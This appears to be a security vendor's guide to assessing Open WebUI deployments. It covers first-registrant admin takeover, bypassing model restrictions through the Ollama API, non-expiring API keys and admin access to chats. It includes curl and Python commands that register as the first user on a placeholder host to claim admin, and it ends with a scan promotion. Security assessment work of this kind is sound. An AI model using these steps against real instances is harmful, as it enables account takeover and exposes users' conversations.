Open WebUI (formerly Ollama WebUI) is the most popular web interface for Ollama and OpenAI-compatible LLM APIs, deployed in enterprise and research environments to provide a ChatGPT-like interface for local models. Its security profile requires careful assessment: the first user to register on a fresh Open WebUI instance automatically receives admin privileges — in publicly accessible deployments, this creates a race condition an attacker can win before the legitimate admin completes setup; Open WebUI's model access controls restrict which models users can access within the UI, but do not prevent users from calling the underlying Ollama API directly if that port is accessible; API keys generated in Open WebUI for programmatic access have no expiry by default and persist until explicitly revoked; Open WebUI stores complete conversation history in its SQLite database — admin users can read all users' conversations; and Open WebUI's image generation integration with Automatic1111 or ComfyUI uses API endpoints that may be accessible to any authenticated user regardless of their role. This guide covers systematic Open WebUI security assessment.
# Open WebUI grants admin to the first registered user
# If deployment is publicly accessible before legitimate admin registers,
# an attacker can claim admin by registering first
# Check if Open WebUI registration is open and no admin exists yet
curl -s http://openwebui.example.com:3000/api/config 2>/dev/null | \
python3 -c "
import json,sys
data = json.load(sys.stdin)
# Check for registration status indicators
print('Config response:', list(data.keys())[:10])
print('onboarding:', data.get('onboarding'))
" 2>/dev/null
# If no users are registered, first registration = admin
# Register as first user to claim admin role
curl -s -X POST http://openwebui.example.com:3000/api/v1/auths/signup \
-H "Content-Type: application/json" \
-d '{"name":"Admin","email":"attacker@example.com","password":"SecurePassword123!"}' 2>/dev/null | \
python3 -c "
import json,sys
data = json.load(sys.stdin)
role = data.get('role','?')
token = data.get('token','')[:30]
print(f'Role assigned: {role}')
if role == 'admin':
print('ADMIN ROLE OBTAINED — first-registrant race condition successful')
" 2>/dev/null| Security Test | Method | Risk |
|---|---|---|
| First-registrant admin race condition | POST /api/v1/auths/signup on fresh deployment — first registration receives admin role | Critical |
| Model ACL bypass via direct Ollama API | Access Ollama port 11434 directly — bypasses Open WebUI role-based model restrictions | High |
| Non-expiring API keys persist after compromise | Generate API key — verify key still authenticates after password change or session expiry | High |
| Admin reads all users' conversation history | Admin account accesses /api/v1/chats — retrieves all users' LLM conversations | High |
| Weak password accepted on registration | Register with password "password" — test minimum password requirements enforcement | Medium |
| Open registration allows unlimited account creation | Register multiple accounts — if sign-up is open, any internet user can access the LLM interface | Medium |
Ironimo tests Open WebUI deployments for the first-registrant admin race condition on fresh installations, model access control bypass via direct Ollama API access when Ollama is not separately firewalled, non-expiring API key persistence after credential rotation, admin account access to all users' conversation histories, open sign-up allowing unauthorized LLM access, and Open WebUI transmitting credentials and conversations over unencrypted HTTP.
Start free scan